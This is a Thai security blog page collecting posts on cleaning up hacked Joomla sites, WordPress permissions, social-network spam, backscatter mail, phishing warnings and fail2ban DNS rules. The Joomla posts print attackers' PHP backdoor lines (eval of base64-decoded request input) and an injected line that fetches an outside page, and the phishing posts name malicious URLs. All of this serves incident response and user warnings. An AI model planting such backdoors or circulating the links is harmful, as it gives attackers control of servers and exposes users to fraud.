Category: Security

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla

    แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น

    ตัวอย่างที่ 1:

    sample1

     

    จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ

    จากนั้น จึงใช้คำสั่ง

    eval(gzinflate(base64_decode($code)))

    ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน
    ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้

     

    ตัวอย่างที่ 2:

    sample2

    ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน

    โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง

    eval(base64_decode($_REQUEST['c_id']))

    ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST)

    ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้

    216.239.45.67 - - [24/Apr/2013:08:22:41 +0700] "GET /language/settings.class.php HTTP/1.1" 200 197 "-" "Python-urllib/2.7"
    202.46.129.104 - - [24/Apr/2013:08:23:02 +0700] "POST /language/settings.class.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:08:35:08 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    62.193.237.22 - - [24/Apr/2013:08:51:35 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    200.198.186.38 - - [24/Apr/2013:08:56:29 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    31.196.4.41 - - [24/Apr/2013:08:56:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.251.84 - - [24/Apr/2013:08:57:27 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:02:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:22:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    77.246.145.52 - - [24/Apr/2013:09:46:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:51:14 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    122.155.13.146 - - [24/Apr/2013:09:53:19 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:56:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.179.246 - - [24/Apr/2013:10:08:05 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:17:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 226 "-" "Mozilla/5.0 Firefox/3.6.12"
    118.127.4.170 - - [24/Apr/2013:10:32:10 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:42 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:51 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"

    เช่นเดิม เมื่อรับค่าผ่าน GET/POST/REQUEST มาแล้ว ก็จะเอามาผ่าน base64_decode แล้วจะได้ Code มา จากนั้น ส่งให้ eval ทำงานต่อ ก็สามารถใช้งาน Web Server เราทำอะไรก็ได้แล้ว

    ตัวอย่างที่ 3:

    sample3

    ในตอนแรก ก็ยังสงสัยอยู่ว่า ไฟล์นี้ เป็นไฟล์ของระบบหรือไม่ เพราะหน้าตาไม่น่าจะเป็นอันตราย ดูคล้ายๆเป็น Configuration File ธรรมดา

    แต่เมื่อดูให้ดีๆ ก็พบว่ามี

    eval(base64_decode($_REQUEST['c_id']))

    อีกแล้ว ซึ่งวิธีการใช้งาน ก็แบบเดียวกับตัวอย่างที่ 2

    UPDATE !!!

    แบบที่ไม่ใช่ eval ก็มีนะ

    new-backdoor

    วิธีการตรวจสอบ

    ให้ใช้คำสั่งต่อไปนี้

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    เพื่อตรวจสอบ หาไฟล์ที่มีคำว่า eval และ base64_decode อยู่ใกล้ๆกัน หากพบไฟล์เข้าข่ายดังกล่าว แนะนำให้ตรวจสอบอย่างละเอียด และย้ายออกมาจากพื้นที่ website เพื่อตรวจสอบให้แน่ใจอีกครั้งครับ

    นอกจากนั้น ควรตรวจสอบว่า มี Directory ใดบ้าง ที่ www-data หรือ apache (user ของ Web Server) เขียนได้ โดยใช้คำสั่งต่อไปนี้

    find ./ -user www-data -perm -u+w -type d

  • WordPress file owner and permission

    ตอนนี้เราควรให้ความสำคัญกับความปลอดภัยของเว็บไซต์ wordpress โดยการตั้งค่าสิทธิของไดเรกทอรีและไฟล์มากขึ้นเพราะมีข่าวที่เว็บไซต์มีช่องโหว่แล้วถูกฝังโค้ด

    เช่น แต่เดิมเราติดตั้ง wordpress ไว้ในไดเรกทอรี /var/www/wordpress แล้วเพื่อให้ทำงานติดตั้ง plugins เพิ่ม ปรับแต่งหน้าเว็บด้วย themes ใหม่ๆ หรือการอัปโหลดรูปภาพและสื่อ รวมทั้งการ upgrade เวอร์ชั่นของ wordpress ทำได้สะดวกง่ายๆ ด้วยการกำหนดสิทธิอย่างง่ายคือ

    sudo chown -R www-data.www-data /var/www/wordpress

    ก็ใช้งานได้แล้ว แต่ดูเหมือนว่าสักวันหนึ่งเราอาจจะเป็นเหยื่อได้ ผมได้คุยกับน้องใหญ่ แล้วก็ลงความเห็นกันว่า เราควรตั้งค่า file owner และ file permission ให้มันเข้มขึ้นแต่ยังสะดวกในการทำงานติดตั้งอะไรๆได้ด้วย ก็เป็นที่มาของคำสั่งข้างล่างนี้

    อันดับแรกก็จะต้องกำหนด file owner กันก่อน ถ้า ubuntu server ของเรา ใช้ username คือ mama และมี group ชื่อ adm ซึ่งเป็นชื่อ group ที่มีสิทธิทำอะไรได้มากกว่า user ธรรมดา ก็ใช้ mama:adm นี้ได้ หรือจะใช้ mama:mama ก็ได้ครับ (ที่เป็น adm ก็เผื่อไว้ว่าวันหนึ่งเราอาจจะเพิ่ม username สักคนเข้าใน groupname adm นี้ก็เท่านั้นเอง) ดังนี้

    sudo chown -R mama:adm /var/www/wordpress
    sudo chown -R mama:adm /var/www/wordpress/wp-content/

    ถัดมาก็กำหนด file owner ที่ให้สิทธิ apache web server ซึ่งใช้ username คือ www-data และ groupname คือ www-data เพียงแค่ไดเรกทอรีที่จำเป็น ดังนี้

    sudo chown -R mama:www-data /var/www/wordpress/wp-content/plugins
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/themes
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/upgrade
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/uploads

    ถัดไปก็กำหนด file permission ให้กับไดเรกทอรีเหล่านี้ด้วย (ผมเพิ่ม -R ลงไปในคำสั่งด้านล่างนี้ด้วยแล้ว) ดังนี้

    chmod -R 775 /var/www/wordpress/wp-content/plugins
    chmod -R 775 /var/www/wordpress/wp-content/themes
    chmod -R 775 /var/www/wordpress/wp-content/upgrade
    chmod -R 775 /var/www/wordpress/wp-content/uploads

    สุดท้าย เราต้องแก้ไขไฟล์ชื่อ wp-config.php ด้วยนะ เหตุผลตรงนี้คือ เราไม่ต้องการติดตั้งแบบที่มันจะถาม ftp user แต่ต้องการให้ติดตั้งได้อัตโนมัติ ให้แก้ไขดังนี้

    sudo vi /var/www/wordpress/wp-config.php

    โดยให้แทรกบรรทัด

    define('FS_METHOD', 'direct');

    ไว้ก่อนบรรทัดนี้ อยู่ประมาณ 10 บรรทัดนับจากท้ายไฟล์ครับ

    /* That’s all, stop editing! Happy blogging. */

    ผมคิดว่าหากเป็น CMS ตัวอื่นๆ ก็คงใช้แนวทางเดียวกันนี้ได้

    ขอจบเพียงเท่านี้ และขอขอบคุณข้อมูลจากคุณเกรียงไกร หนูทองคำ ครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1

    จากการเข้าแก้ไขเว็บไซต์ต่างๆที่โดน Hack ในช่วง 2 ปีที่ผ่าน พบว่า จะมีรูปแบบเดิมๆคือ

    1. มีการเปิด Permission ของ directory เป็นแบบ 777 หรือ world writable หรือแม้แต่เปิดสิทธิ์ให้ web user เช่น apache/httpd/www-data สามารถเขียนได้

    2. เมื่อมีพื้นที่ให้ web user เขียนได้ แล้ว Web Application นั้นๆ มีช่องโหว่ หรือไม่ก็มีการทำงานปรกติที่เปิดให้ Web User เขียนไฟล์ได้ตามปรกติ ก็เป็นช่องให้เกิดการ “วางไฟล์” ซึ่ง Hacker จะเข้ามาเรียกไฟล์ดังกล่าว ซึ่งจะได้สิทธิเป็น Web User ทำการแก้ไขไฟล์, นำไฟล์ .c มาวางแล้ว compile ต่อไป ซึ่งอาจจะทำให้เกิด Buffer Overflow จนกระทั่งสามารถครอง Server ได้เลย

    วิธีการที่แนะนำสำหรับการทำ Website ให้ปลอดภัย

    1. ในเครื่องที่เป็น Production Server ต้องไม่มี Compiler, Development Tools เช่น gcc อยู่เลย

    2. หากใช้ CMS ต่างๆ เช่น Joomla การปรับปรุงหลักๆเช่นการเปลี่ยน Template, เพิ่ม Component หรือ อะไรที่มีการเปลี่ยนแปลงระดับไฟล์ (ไม่รวมการเขียนพวก Article หรือบทความ เพราะเป็นการเขียนไปยัง Database ไม่ใช่ระดับไฟล์) ก็ควร ยกเลิกการทำงานทาง Backend ผ่าน Web แต่ให้ใช้วิธี สร้างหรือปรับเปลี่ยนจากเครื่องทดสอบ แล้วใช้วิธี FTP ขึ้นไป บน Production Server แทน แล้วปรับให้ Owner เป็นอะไรที่ไม่ใช่ Web User หรือ ต้องไม่ให้ Web User เขียนได้

    วิธีนี้ อาจจะไม่สะดวก แต่ แลกกับความปลอดภัย เป็นวิธีที่จำเป็น ลองสังเกตว่า ทำไม Joomla รุ่นใหม่ๆ จึงเปิดให้มีการ Update ผ่านทาง FTP ด้วย

    3. ถ้า Website มีความจำเป็นต้องให้ผู้ใช้ทั่วไปสามารถ Upload ไฟล์ได้ ต้องเปลี่ยนสิทธิ์ Permission ใน directory ที่เอาไฟล์ขึ้นไปวางนั้น ต้องไม่สามารถ Execute ได้, ลองพิจารณาการใช้ .htaccess ร่วมด้วย

    4. ในกรณี CMS ถ้ามีการใช้ Component หรือ Module อะไร ก็ต้องติดตามดูเรื่อง ช่องโหว่ต่างๆ และทำการปรับปรุงรุ่นสม่ำเสมอ ล่าสุด น่าเป็นห่วงกลุ่มที่ใช้ JCE (รุ่นยังไม่แน่ชัด) กับ Phoca Gallery เพราะมีความสามารถในการ Upload ไฟล์และเป็นที่นิยม ทั้งของกลุ่มผู้ใช้และ Hacker

    อาจจะทำให้ใช้งานยากขึ้น แต่ ถ้าต้องการความปลอดภัย เรื่องเหล่านี้จำเป็นมาก

    ต่อไป เมื่อพบว่าโดน Hacker เข้ามาเยี่ยมแล้ว … จะมีอาการอย่างไรบ้าง …

    ล่าสุด พบ Website ที่ใช้ Joomla โดน Hack, โดยเมื่อเปิดไปยัง URL หลัก จะพบว่ามีการ Redirect ไปยัง Website อื่นๆ และเปลี่ยนไปเรื่อย

    เมื่อลองดู Source โดยการ View Source พบว่ามีการแทรกบรรทัดสุดท้ายไว้ว่า (ไฟล์ index.php อยู่ที่ Document Root ของ site นี้เลย)

    echo file_get_contents('http://www.sorgulatr.com/1.htm');

    ต่อไปนี้ เป็นขึ้นตอนการตรวจสอบว่า มีการวางไฟล์ใดไว้บ้าง

    1. เริ่มจากดูว่า วันที่ ที่มีการเปลี่ยนแปลงไฟล์ index.php คือวันใด ด้วยคำสั่ง

    ls -l index.php

    พบว่า

    -rwxr--r--  1 apache  staff    2106 Mar 22 00:50 index.php

    2. ก็คาดว่า มีการ hack เข้ามาเมื่อวันที่ 22 มีนาคม ก็น่าจะมีการวางไฟล์ในเวลาใกล้เคียงกัน จึงใช้วิธีต่อไปนี้ในการหาว่า มีการวางไฟล์อื่นๆไว้ที่ใดบ้าง

    ด้วยคำสั่ง

    touch --date "2013-03-22" /tmp/foo 
find ./ -newer /tmp/foo

    จึงรู้ว่ามีการเขียนไฟล์ไว้ที่

    ./libraries/tcpdf/cache
 ./administrator/cache/3c788c8140c244baa4de05cad390c937.spc
 ./index.php
 ./configuration.php
 ./images/stories
 ./media
 ./media/bb.php
 ./tmp
 ./cache
 ./cache/z.txt
 ./cache/sok.php
 ./cache/exploit.conf
 ./cache/ubuntu.c

    พบว่า น่าจะเจาะผ่าน ./media กับ ./cache
    ลองเปิด http://xxxxx.psu.ac.th/media/bb.php
    ได้ web ที่สามารถเข้าไป browse ไฟล์ทั้งเครื่องได้

    3. ยังไม่ไว้ใจ จึงดูว่า website นี้ ผู้ติดตั้งตัวจริง น่าจะสิ้นสุดการ update เมื่อใด จึงสันนิษฐานว่า คงเป็นวันเดียวกับที่เปลี่ยน directory ชื่อ installation เป็นชื่ออื่น นั่นคือ วันที่ Mar  2  2012

    จึงใช้คำสี่ง

    touch --date "2012-03-02" /tmp/foo
 find ./ -newer /tmp/foo

    พบว่ามีไฟล์ต่างๆเกิดขึ้น แต่เป็นไฟล์ภาพ และเอกสารพวก .pdf, .doc ซึ่งน่าจะเป็นการใช้งานปรกติ แต่ก็มีไฟล์พวกนี้ด้วย

    ./sejeal.jpg
 ./media/mod.php
 ./media/sok.php
 ./cache/ab.txt

    พบว่า sejeal.jpg นั้นเป็นภาพแสดงตัวของ Hacker ว่า ฉันเป็นคน Hack ที่นี่ได้ [-.-“] ไฟล์เป็นของวันที่ Feb 3, 2013 นอกจากนั้นเป็นไฟล์ที่ใช้ในการ Hack, แถมมีคู่มือในการ Hack ซึ่งแสดงช่องโหว่ของ JCE ไว้ด้วยในไฟล์ ab.txt

    สรุป:

    1. เมื่อพบว่าเว็บไซต์ โดน Hack ควรตรวจสอบว่า วันที่ของไฟล์ที่แสดงอาการ คือวันใด แล้วใช้คำสั่ง

    touch --date "2013-03-22" /tmp/foo

    เพื่อสร้างไฟล์ ซึ่งตั้งค่าวันที่เปลี่ยนแปลงเป็นวันนั้นๆ ไว้ที่ /tmp ตั้งชื่อว่า foo

    แล้วใช้คำสั่ง

    find ./ -newer /tmp/foo

    เพื่อค้นหาว่า ที่ Document Root ของ website นั้น มีไฟล์ใดบ้างที่ถูกแก้ไขในวันเดียวกัน, จากนั้น อาจจะลองดูรายละเอียด ถ้าเป็นไฟล์ของระบบ ก็แก้ไขกลับเป็นเหมือนเดิม หรือไม่ก็ลองพิจารณา ติดตั้ง CMS ใหม่ (อาจจะสายไปแล้ว)

    2. ตรวจสอบด้วยวิธีการเดียวกัน แต่ให้เลือกวันที่ของ /tmp/foo เป็นวันที่สุดท้ายที่ทำการเปลี่ยนแปลงไฟล์ของ CMS นี้ เพื่อดูว่า ตลอดเวลาที่ผ่านมา มีใครเอาไฟล์มาวางแปลกๆไว้บ้าง

    ไว้มีรายละเอียดใหม่ๆ จะมานำเสนอครับ

  • Facebook นั่นแหล่ะ ทำให้มีจดหมายขยะมากขึ้น ?!?!

    ต้องยอมรับว่า ทุกวันนี้ ใครที่ทำงานกับคอมพิวเตอร์ เริ่มต้นสิ่งแรกๆที่มักจะทำ คือ เปิด Internet Browser แล้ว เว็บไซต์ที่จะเปิดลำดับแรกๆ คือ Facebook และพฤติกรรมที่มันจะทำคือ Login ค้างเอาไว้ แล้วไปทำงานอย่างอื่นต่อ

    แล้วเมื่อ Facebook เป็นที่นิยมอย่างมาก ก็ทำให้ website ต่างๆ อำนวยความสะดวกในการใช้งานกับผู้ใช้มากยิ่งขึ้น โดยให้ผู้ใช้ สามารถ Login เข้าใช้งานได้ โดยไม่ต้องสมัคร ขอเพียงมี Facebook Account ก็สามารถเข้าใช้งานได้

    สิ่งที่ตามมา แต่ผู้ใช้จำนวนมาก “ไม่รู้” เนื่องจาก “ไม่อ่าน” คือ เมื่อใช้ Facebook Account ในการ Login แล้ว ระบบเหล่านั้น จะสอบถาม “สิทธิ” การเข้าถึงข้อมูล ส่วนตัว บน Facebook Account ด้วย และมันจะเสริมด้วยบริการ “แจ้งให้เพื่อนๆทราบ” ว่าเราได้เข้าใช้งานแล้ว โดยการเข้าไปอ่าน รายชื่อ เพื่อนๆ (Friends) แล้วส่ง Notification ไปยังเพื่อนๆของเรา … ปัญหาคือ เพื่อนๆของเรา ก็ “ไม่อ่าน” เช่นกัน เห็นอะไรมา ก็ คลิก คลิก คลิก ก็เลยทำให้การกระจายข้อมูล Website นั้นๆ ไปทั่วระบบ Social Network อย่างที่เป็นไปในปัจจุบัน ซึ่ง ก็จะบรรลุวัตถุประสงค์ของเจ้าของ Website เขาหล่ะ

    และนั่น … เป็นที่มาของปัญหา จดหมายขยะ มากมาย เพราะบางอย่างก็เป็นสิ่งที่ต้องการสำหรับบางคน แต่บางคนก็ไม่ต้องการ

    คราวนี้มาดูรายละเอียด และให้ “อ่าน” ให้มากขึ้นก่อนจะ คลิก อะไรไป

    1. ขอยกตัวอย่าง Linked-in และ SkillPage ซึ่งเป็นปัญหาในปัจจุบัน ที่มีผู้ใช้หลายท่านกำลังรู้สึกรำคาญกับข้อมูลเหล่านี้
    Linked-in และ SkillPage เป็น Social Network “อีกตัวหนึ่ง” สำหรับผู้ที่อยากจะ หางาน หรือเปิดตัวสู่สังคม ส่วน SkillPage จะไว้สำหรับให้ผู้ที่อยากหางานโดยเน้นให้ใส่ข้อมูลเกี่ยวกับความสามารถ (Skill) ที่มี

    หน้าจอการ Login ด้วย Facebook Account ของ Linked-in

    01-linkedin-join

    หน้าจอการ Login ด้วย Facebook Account ของ SkillPage

    02-skillpage-join

    จะเห็นว่า มีปุ่มให้คลิก เพื่อ Login ด้วย Facebook Account/ Google Account เป็นต้น

    2. เมื่อคลิกเข้ามาแล้ว หาก Login Facebook ค้างเอาไว้ ก็จะมาหน้าที่ระบบจะถาม Permission ในการเข้าถึงข้อมูล … ซึ่งถ้าไม่อ่าน ก็จะเปิดให้พวกนี้เข้าอ่าน Friends ของเราได้ และเป็นช่องทางในการกระจายตัวต่อไป

    Linked-in

    03-linkedin-facebook

    SkillPage

    04-skillpage-facebook

     

    3. หลังจากนั้น จะให้เราอนุญาต ให้เขา Post ข้อความต่างๆบน Facebook แทนตัวเรา และมักจะตบท้ายด้วย การ “เชิญเพื่อนๆของคุณสิ”
    Grow Your Network … ใช่สิ Network เขาคุณไง ไม่ใช่ของฉัน

    05-GrowYourNetwork-Linkedin

     

    4. เมื่อคลิก Continue ก็จะพยายามให้ Login ด้วย Gmail Account และจะขออ่าน Google  Contact ของเรา

    06-LinkedIn-gmailcontact

     

    จากนั้น หากเราหลงกล ระบบก็จะอ่าน Google Contact ของท่าน แล้วส่ง email ไปหาทุกคนในนั้น เชิญให้มาสมัคร .. และเมื่อเพื่อนท่าน “ไม่อ่าน” อะไรเลย คลิกไปเรื่อย … ก็จะมี Account Linked-In หรืออะไรก็แล้วแต่ เต็มไปหมด

    สำหรับผู้ที่อ่านบทความนี้แล้ว ก็อยากเชิญชวนให้ “อ่าน” ให้ดีๆก่อนจะสมัครอะไร

    แต่ก็เชื่อว่า บทความยาวๆอย่างนี้ จะมีมีบางคน

    ไม่อ่าน !!! อีกตามเคย

  • การจัดการกับ Backscatter Mail

    (อยู่ระหว่างการปรับปรุง)

    เมื่อ Spammer หรือ Virus ในระบบเครือข่ายของเรา พยายามที่จะส่ง email ซึ่ง

    • ส่งจาก (From) email address ปลอมซึ่งไม่มีอยู่จริง
    • ถึง (To, CC, BCC) email address ซึ่งบางส่วนไม่มีอยู่จริง หรือ ผิดรูปแบบ หรือ ปลายทางไม่ยอมรับ email จาก domain ของเราแล้ว

    จดหมายเหล่านั้นจะมีการแจ้งถึงความล้มเหลวของการส่ง ที่เรียกว่า “Undeliverable mail notification” ไปยังผู้ส่ง ซึ่ง ไม่มีอยู่จริง ดังนั้น จะเกิดจดหมายพวกนี้ ค้างใน mail queue จำนวนมาก ทำให้เกิดความล้าช้าในการส่งจดหมายปรกติ โดยจดหมายพวกนี้เราจะเรียกว่า Backscatter mail

     

     

    Reference

    http://www.postfix.org/BACKSCATTER_README.html

  • 20130227-Kbank-Phishing

    มีจดหมายหลอกลวง หน้าตาประมาณนี้
    20130227-phishing-email

    เมื่อคลิก Link เข้าไป โดยผ่าน Google Chrome จะได้หน้าจอเตือนอย่างนี้
    20130227-chrome-warning

    แต่ถ้าเป็น IE, Firefox จะไม่ได้รับการเตือน !!!!
    ซึ่งจะได้หน้าจอประมาณนี้

    20130227-phishing-kbank

    ซึ่งหน้าตา ช่างเหมือนกับของจริงมากๆ

    แต่นี่คือ Website หลอกลวง เพื่อเอาข้อมูลทางการเงินของท่าน 

    โปรดระวัง !!!

    เปรียบเทียบ ของปลอม (ซ้าย) และ ของจริง (ขวา)

    20130227-compare

     

    วิธีสังเกต

    เวปไซต์ของจริง จะต้องมี รูปกุญแจ และเป็นสีเขียว (เข้ารหัสในการส่งข้อมูลด้วย HTTPS และ ใช้ SSL Certificate ที่ได้รับการยอมรับ)

    ด้านซ้ายคือ ของหลอกลวง ด้านขวาคือ ของจริง

    20130227-ssl-compare

    โปรดใช้ความระมัดระวัง

  • Warning :: spam-20130109

    พบจดหมายหลอกลวง มีเนื้อความประมาณนี้ (แค่นี้จริงๆ — ไม่จำเป็น อย่าได้ตาม link ไปนะครับ)

    http://www.hfh-schule.de/images/perfsedit.php

    เมื่อคลิกแล้ว (ไม่แนะนำให้ทุกท่านทำเช่นนี้ แต่ผมขอทดลองให้ดูเป็นตัวอย่าง) มันจะ detect ว่าเราอยู่ที่ใดในโลก ในตัวอย่างนี้ มันพบว่า IP Address ของผมอยู่ที่ Songkhla

    ก็จะไปยัง website ชื่อ http://workfromyourhome5.com/

    ซึ่งมันจะทำเป็น Phishing Site หน้าตาเหมือนของ CNBC เป๊ะ ดังนี้


    แต่ถ้าสังเกตดีๆ จะเห็นวันที่ update ข่าวนี้เป็น

    Published: Monday, 30 April 2012 | 7:48 AM ET

    แล้วทุก link ในหน้านี้ จะชี้ไปที่

    http://workfromyourhome5.com/go.php

    ซึ่งจะส่งไปยังหน้า page ที่จะหลอกเอาข้อมูลส่วนตัวเราไปครับ ดังนี้

    จึงเรียนมาเพื่อให้ระมัดระวังกันมากๆครับ

  • เทคนิคการอ่านค่าสถานะของ Server อื่น ผ่านทาง HTTP

  • การใช้ fail2ban สำหรับการตั้งรับ DNS Brute Force Query Attack

    ต่อเนื่องจาก บทความนี้

    หลังจากวิธีการใช้งาน blackhole เพื่อให้ bind9 ไม่ตอบกลับ query ที่ client ส่งมา แล้วพบว่าวิธีการนี้
    จะมีปัญหากับการโจมตีแบบ DDoS ดังนั้น เราก็ต้องรับมือกับการโจมตีแบบนี้ด้วยเครื่องมืออื่นๆแทน

    เครื่องมืที่ผมใช้งานแล้วพบว่ามีประโยชน์มากตัวนึง สำหรับการป้องกันการโจมตีแบบอัตโนมัติก็คือ fail2ban ซึ่งบน Debian/Ubuntu สามารถติดตั้งได้ด้วยคำสั่ง

    $ sudo apt-get install fail2ban

    ซึ่งจะสร้าง configuration file ของ fail2ban ขึ้นมาอยู่ใน directory /etc/fail2ban
    configuration ของ fail2ban จะแบ่งเป็นส่วนของการตรวจจับ (โดยการใช้ regular expression) จาก log file ที่กำหนดไว้ (ซึ่งจะอยู่ใน directory /etc/fail2ban/filter.d)  และสามารถ กำหนด action (ซึ่งจะอยู่ใน directory /etc/fail2ban/action.d) ซึ่งใช้ในการ ban  การเข้าใช้งาน service ของ server ของเรา หรือตอบสนองแบบอื่นๆ เช่นส่ง email ไปเตือน admin ได้ มี action ที่ได้กำหนดเอาไว้แล้วหลายรูปแบบ ในที่นี้ ผมจะเลือกใช้ iptables filter สำหรับการ filter query packet ที่จะเข้ามา ซึ่ง config นี้ จะอยู่ในไฟล์ /etc/fail2ban/action.d/iptables.conf

    ส่วนของการ ตรวจจับ จะมีตัวอย่างของการ เขียน expression เอาไว้แล้วในไฟล์ตัวอย่าง ที่มีอยู่ใน /etc/fail2ban/filter.d ซึ่งสำหรับกรณีนี้ ผมจะสร้างไฟล์ขึ้นมาใหม่ชื่อ named-query-dos.conf โดยจะมีข้อมูลในไฟล์ดังต่อไปนี้

    [Definition]
    failregex = client <HOST>#.+: query: isc.org IN ANY \+ED .+
    ignoreregex =

    โดยบรรทัด failregex จะเป็น regular expression ที่ได้มาจาก logfile /var/log/named/query.log ซึ่งจะมีรูปแบบของการ query ที่แน่นอน นั่นคือ query “isc.org” แบบ ANY และมี flag ของการ query คือ ‘ED’

    28-Nov-2012 11:23:54.063 client 46.160.80.232#25345: query: isc.org IN ANY +ED

    ส่วน filed ของ วันที่/เวลา จะเปลี่ยนไปเรื่อยๆตามเวลาของการ query ที่เกิดขึ้น หมายเลข ip ของ client จะถูก match กับ <HOST> และส่งกลับไปให้ action ซึ่งจะนำเอาไปใช้ต่อไป

    ส่วนของ action เราจะใช้ iptables สำหรับการ filter ซึ่งจะมี config กำหนดเอาไว้แล้ว ซึ่งไม่ต้องวเปลี่ยนแปลงอะไร ส่วนของการ config ที่จะต้องเพิ่มขึ้นมาก็คือ ระบุให้ตัว fail2ban รู้ว่าจะต้องเอา config ส่วนนี้ไปใช้ โดยการเพิ่มข้อมูลต่อไปนี้ เข้าไปในไฟล์ /etc/fail2ban/jail.conf

    [named-query-dos]
    enaled = true
    banaction = iptables
    port = domain,53
    protocol = udp
    filter = named-query-dos
    logpath  = /var/log/named/query.log
    bantime  = 86400
    maxretry = 5

    ซึ่งจาก config ที่เพิ่มเข้าไป (หรืออาจจะสร้างเป็นไฟล์ใหม่ ในชื่อว่า jail.local ก็ได้)
    [named-query-dos] จะเป็นการระบุว่า config ส่วนนี้ เป็การเริ่มต้น section ใหม่
    enabled = true จะระบุว่าให้เอา config นี้ไปใช้ ซึ่งเราสามารถ disable config ส่วนนี้ได้ โดยไม่ต้องลบ config ออก เพียงแต่เปลี่ยนค่า enable = false
    banaction = iptables เป็นการเลือก action ที่จะใช้ ban client ที่เข้ามาโจมตี
    port = domain,53
    protocol = udp
    ทั้ง port และ protocol จะเป็นการระบุข้อมูลการ ban ให้กับ iptables
    filter = named-query-dos เป็นการเลือก filter (match regular express ที่จะใช้ ซึ่งในที่นี้ก็เป็นการอ้างถึงไฟล์ /etc/fail2ban/filter.d/named-query-dos.conf)
    logpath  = /var/log/named/query.log เป็นการระบุชื่อไฟล์ ที่เป็น input ของการ match expression ซึ่งในที่นี้ก็คือไฟล์ ที่เรากำหนดให้ bind9 สร้างขึ้น
    bantime  = 86400 เป็นระยะเวลาที่ unban สำหรับ ip นั้นๆหน่วยเป็นวินาที
    maxretry = 5 จำนวนครั้งของการ query ที่เกิดขึ้น ก่อนที่จะเริ่ม ban

    ในที่นี้ ระยะเวลาของการ ban — bantime ผมกำหนดให้เท่ากับ 24 ชม. ซึ่งนานพอที่จะป้องกันการกลับเข้ามาโจมตีใหม่ในเวลาอันสั้น เราอาจจะไม่ยกเลิกการ ban เลยก็ได้ แต่สำหรับ iptables แล้วมันจะทำให้ tables โตขึ้นเรื่อยๆ ซึ่งจะทำให้การ process packet ช้าลง เพราะฉะนั้นเวลา ban 24 ชม. น่าจะเหมาะสม และถ้ามีการโจมตีเข้ามาอีก ก็จะถูก ban อีกในรอบ 24 ชม.ถัดไป

    maxretry กำหนดค่า default เป็น 3 ผมเพิ่มให้เป็น 5 เพื่อ ยืนยันว่าเป็นการโจมตีจริง ไม่ใช่ query ผิดพลาด ซึ่งอาจจะเกิดขึ้นได้

    หลังจาก config เสร็จแล้ว เราก็สั่งให้ fail2ban เริ่มต้นทำงานได้โดยใช้คำสั่ง

    $ sudo service fail2ban start

